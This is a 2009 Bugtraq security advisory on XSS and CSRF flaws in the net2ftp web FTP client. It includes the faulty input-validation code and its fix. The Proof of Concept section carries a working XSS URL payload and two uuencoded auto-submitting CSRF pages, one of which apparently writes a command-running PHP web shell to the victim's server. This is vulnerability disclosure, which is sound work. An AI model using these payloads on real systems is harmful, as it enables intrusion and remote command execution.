[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20090408211310.1286.qmail@securityfocus.com>
Date: 8 Apr 2009 21:13:10 -0000
From: c1c4tr1z@...doo-labs.org
To: bugtraq@...urityfocus.com
Subject: net2ftp <= 0.97 Cross-Site Scripting/Request Forgery
#=cicatriz <c1c4tr1z@...doo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
/) /) /)
_ _ _______(/ ________ // _ (/_ _ _____ _
(/__(_)(_)(_(_(_)(_) (/_(_(_/_) /_)_ o (_)/ (_(_/_
.-/
#=net2ftp <= 0.97 Cross-Site Scripting/Request Forgery=#=~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Advisory & Vulnerability Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
Title: net2ftp <= 0.97 Cross-Site Scripting/Request Forgery
Advisory ID: VUDO-2009-0804
Advisory URL: http://research.voodoo-labs.org/advisories/3
Date founded: 2009-04-02
Vendors contacted: net2ftp
Class: Multiple Vulnerabilities
Remotely Exploitable: Yes
Localy Exploitable: No
Exploit/PoC Available: Yes
Policy: Full Disclosure Policy (RFPolicy) v2.0
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Tested & Vulnerable packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
[+] net2ftp 0.97
[+] net2ftp 0.95
Beta:
[*] net2ftp 0.98 beta
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Solutions and Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
The vendor didn't released any fix/update.
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Technical Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
Multiple vulnerabilities were found on the package net2ftp [1], version 0.98 and below. Two types of
vulnerabilities were found: Cross-Site Scripting and Cross-Site Request Forgery.
[*] Cross-Site Scripting (XSS):
This vulnerability it's produced by a "typo" in the function validateGeneriInput(), where the
extraction of characters < and > fails because the regular expression in charge of the extraction
it's invalid.
+++includes/registerglobals.inc.php @@ 1088:1102
1088 function validateGenericInput($input) {
1089
1090 // --------------
1091 // Remove the following characters <>
1092 // --------------
1093
1094 // Remove XSS code
1095 // $input = RemoveXSS($input);
1096
1097 // Remove < >
XXX 1098 $input = preg_replace("/\\<\\>]/", "", $input);
1099
1100 return $input;
1101
1102 } // end validateGenericInput
---includes/registerglobals.inc.php
This can be easily fixed adding a "[" character to the pattern:
+++
$input = preg_replace("/[\\<\\>]/", "", $input);
---
[*] Cross-Site Request Forgery (CSRF):
All the forms on the web application are vulnerable because they doesn't check any type of token to
ensure that the user submited the form. So an attacker can trick the user to visit a website with this
type of method and perform certain actions on the server, like create files, delete/rename/upload/etc.
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
[*] Cross-Site Scripting (XSS):
+++
http://ftp.victim.com/?state=login_small&errormessage=<iframe onload="alert(/voodoo/.source);">
---
[*] Cross-Site Request Forgery (CSRF):
With this HTML page an attacker can create a evil PHP script on the user's server. (uuencoded)
+++
begin 644 attack.html
M/&AT;6P^"CQB;V1Y/@H)/&9O<FT@:60](D5D:71&;W)M(B!A8W1I;VX](FAT
M='!S.B\O9G1P+G9I8W1I;2YC;VTO:6YD97@N<&AP(B!O;G-U8FUI=#TB(B!M
M971H;V0](G!O<W0B/@H)"3QI;G!U="!N86UE/2)F='!S97)V97(B('9A;'5E
M/2)V:6-T:6TN9G1P<V5R=F5R+F-O;2(@='EP93TB:&ED9&5N(CX*"0D\:6YP
M=70@;F%M93TB9G1P<V5R=F5R<&]R="(@=F%L=64](C(Q(B!T>7!E/2)H:61D
M96XB/@H)"3QI;G!U="!N86UE/2)U<V5R;F%M92(@=F%L=64](G9I8W1I;75S
M97)N86UE(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)L86YG=6%G
M92(@=F%L=64](F5N(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
M:VEN(B!V86QU93TB:6YD:6$B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
M;64](F9T<&UO9&4B('9A;'5E/2)B:6YA<GDB('1Y<&4](FAI9&1E;B(^"@D)
M/&EN<'5T(&YA;64](G!A<W-I=F5M;V1E(B!V86QU93TB>65S(B!T>7!E/2)H
M:61D96XB/@H)"3QI;G!U="!N86UE/2)S<VQC;VYN96-T(B!V86QU93TB;F\B
M('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G9I97=M;V1E(B!V86QU
M93TB;&ES="(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB<V]R="(@
M=F%L=64](B(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB<V]R=&]R
M9&5R(B!V86QU93TB(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
M=&%T92(@=F%L=64](F5D:70B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
M;64](G-T871E,B(@=F%L=64](B(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@
M;F%M93TB9&ER96-T;W)Y(B!V86QU93TB+R(@='EP93TB:&ED9&5N(CX*"0D\
M:6YP=70@;F%M93TB<V-R965N(B!V86QU93TB,R(@='EP93TB:&ED9&5N(CX*
M"@D)/&EN<'5T(&YA;64](G1E>'1A<F5A5'EP92(@=F%L=64](B(@='EP93TB
M:&ED9&5N(CX*"0D\<V5L96-T(&YA;64](G1E>'1A<F5A4V5L96-T(B!I9#TB
M=&5X=&%R96%396QE8W0B(&]N8VAA;F=E/2)D;V-U;65N="YF;W)M<ULG161I
M=$9O<FTG72YS8W)E96XN=F%L=64],CMD;V-U;65N="YF;W)M<ULG161I=$9O
M<FTG72YT97AT87)E851Y<&4N=F%L=64]9&]C=6UE;G0N9F]R;7-;)T5D:71&
M;W)M)UTN=&5X=&%R96%396QE8W0N;W!T:6]N<UMD;V-U;65N="YF;W)M<ULG
M161I=$9O<FTG72YT97AT87)E85-E;&5C="YS96QE8W1E9$EN9&5X72YV86QU
M93MD;V-U;65N="YF;W)M<ULG161I=$9O<FTG72YS=6)M:70H*3LB/@H)"3QO
M<'1I;VX@...L=64](G!L86EN(B!S96QE8W1E9#TB<V5L96-T960B/DYO<FUA
M;"!T97AT87)E83PO;W!T:6]N/@H)"3PO<V5L96-T/@H)"3QI;G!U="!C;&%S
M<STB:6YP=70B(&YA;64](F5N=')Y(B!T>7!E/2)T97AT(B!V86QU93TB979I
M;"YP:'`B/CQB<CX*"0D\=&5X=&%R96$@;F%M93TB=&5X="(@8VQA<W,](F5D
M:70B(')O=W,](C,S(B!S='EL93TB=VED=&@Z(#DY)3LB('=R87`](F]F9B(@
M;VYK97ED;W=N/2)486)497AT*"DB/CP_/6![)%]'151;)V-M9"==?6`_/CPO
M=&5X=&%R96$^"@D\+V9O<FT^"CQS8W)I<'0^"F1O8W5M96YT+F9O<FUS6S!=
G+G-U8FUI="@I.PH\+W-C<FEP=#X*"CPO8F]D>3X*/"]H=&UL/@H*
`
end
---
[*] CSRF + XSS:
This is a Cross-Site Request Forgery attack that creates a simple Cross-Site Scripting attack in the
"Bookmark" section. It can be even worse because the bookmark string can be written according to the
attacker needs and the XSS vector can be permanent if the user saves that bookmark (and the string
it's also vulnerable to XSS). (uuencoded)
+++
begin 644 xss-csrf-attack.html
M/&AT;6P^"CQB;V1Y/@H)/&9O<FT@:60](E-T871U<V)A<D9O<FTB(&%C=&EO
M;CTB:'1T<',Z+R]F='`N=FEC=&EM+F-O;2]I;F1E>"YP:'`B(&]N<W5B;6ET
M/2(B(&UE=&AO9#TB<&]S="(^"@D)/&EN<'5T(&YA;64](F9T<'-E<G9E<B(@
M=F%L=64](G9I8W1I;2YF='!S97)V97(N8V]M(B!T>7!E/2)H:61D96XB/@H)
M"3QI;G!U="!N86UE/2)F='!S97)V97)P;W)T(B!V86QU93TB,C$B('1Y<&4]
M(FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G5S97)N86UE(B!V86QU93TB=FEC
M=&EM=7-E<FYA;64B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](FQA
M;F=U86=E(B!V86QU93TB96XB('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
M;64](G-K:6XB('9A;'5E/2)I;F1I82(@='EP93TB:&ED9&5N(CX*"0D\:6YP
M=70@;F%M93TB9G1P;6]D92(@=F%L=64](F)I;F%R>2(@='EP93TB:&ED9&5N
M(CX*"0D\:6YP=70@;F%M93TB<&%S<VEV96UO9&4B('9A;'5E/2)Y97,B('1Y
M<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G-S;&-O;FYE8W0B('9A;'5E
M/2)N;R(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB=FEE=VUO9&4B
M('9A;'5E/2)L:7-T(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
M;W)T(B!V86QU93TB(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
M;W)T;W)D97(B('9A;'5E/2(B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
M;64](G-T871E(B!V86QU93TB8F]O:VUA<FLB('1Y<&4](FAI9&1E;B(^"@D)
M/&EN<'5T(&YA;64](G-T871E,B(@=F%L=64](FUA:6XB('1Y<&4](FAI9&1E
M;B(^"@D)/&EN<'5T(&YA;64](F1I<F5C=&]R>2(@=F%L=64](B\B('1Y<&4]
M(FAI9&1E;B(^"@H)"3QI;G!U="!N86UE/2)U<FPB('9A;'5E/2)J879A<V-R
M:7!T.F%L97)T*#`I.R(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB
M=&5X="(@=F%L=64](B9L=#MI9G)A;64@<W)C/6AT='`Z+R]V;V]D;V\M;&%B
M<RYO<F<@;VYL;V%D/6%L97)T*'5N97-C87!E*"]V;V]D;V\E,C!P96]P;&4A
M+RYS;W5R8V4I*3LF9W0[)FQT.R]I9G)A;64F9W0[(B!T>7!E/2)H:61D96XB
M/@H)/"]F;W)M/@...'-C<FEP=#X*9&]C=6UE;G0N9F]R;7-;,%TN<W5B;6ET
?*"D["CPO<V-R:7!T/@H*/"]B;V1Y/@H\+VAT;6P^"@``
`
end
---
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
[*] 02-04-2009: Bugs discovered.
[*] 03-04-2009: Voodoo contacted the vendor.
[*] 08-04-2009: After 5 days the vendor didn't gave any response.
[*] 08-04-2009: Advisory VUDO-2009-0804 published.
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
[1] http://www.net2ftp.com/
#=cicatriz <c1c4tr1z@...doo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
#= mié 08 abr 2009 ART =#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
Powered by blists - more mailing lists